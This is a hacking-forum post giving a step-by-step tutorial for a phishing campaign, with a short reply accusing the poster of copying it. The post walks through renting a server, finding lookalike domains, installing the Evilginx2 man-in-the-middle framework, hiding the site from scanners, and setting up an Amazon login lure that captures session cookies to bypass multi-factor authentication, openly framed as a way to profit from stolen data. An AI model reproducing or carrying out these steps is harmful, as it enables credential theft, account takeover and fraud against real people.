[NuMberOne]

Hello,

Show Me some LOVE and Popularity!to be continued otherwise, i will stop making threads.

Im gonna start this off by saying this can either A. make you a shit load of money or B. Get you thrown in jail, depends on what you do with your stolen data.

Step1: Get a server
The first step for any phishing campaign is aquiring a relatively cheap VPS to host your page. There many providers out there. For your os, Chose debian as that will work the best for this.

Step 2: Get a phishing domain
In order to figure out what some phishing domains are, i reccomend installing dnstwist on a kali machine and running the domain of the site your using in your attack through it to find available domains. I reccomend using namecheap to buy your domain as they have fairly cheap prices and wont ban it quickly which is always neat.

Step3(time to type): Installing Evilginx2

First off, Evilginx2 is a MiTM phishing framework what also steals session cookies, which can be used to bypass MFA.

To install this we need to run the follwoing
First, Make sure wget is installed.

Code

sudo apt update
sudo apt install wget -y

Next, we need to install Go.

Code

wget https://golang.org/dl/go1.17.linux-amd64.tar.gz

Now we install Go.

Code

sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/

Next, we configure PATH

Code

echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh

source /etc/profile.d/go.sh

Now we install Evilginx. I prefer this repo as it already as phishlets and saves you some time of hunting down/ Making your own.

Code

sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make

After this, Install Globally.

Code

sudo make install

And now run.

Code

sudo evilginx

Step4: Create Page.

Upon running. you will see a list of pages that are all disabled, pick your page of choice, but first we need to configure Evilginx so that we dont have problems

Code

config domain <yourdomain>
config ip <yourIP>
blacklist unauth

The blacklist command is to block your site from scanners. YOU WANT TO DO THIS.


Next, pick your phishlet(phishing page) of choice

Code

phishlets hostname amazon <your domain name>
phishlets enable amazon

Now its time to setup our lure for this site. This is the actual phishing page its self.

Code

lures create amazon
lures edit 0 redirect_url https://amazon.com
lures get-url 0

After running lures get-url 0 you should see a link appear on screen, this is your phishing link.

done!

[Charlie Sheen]

You seriously stole this thread. https://hackforums.net/showthread.php?tid=6270911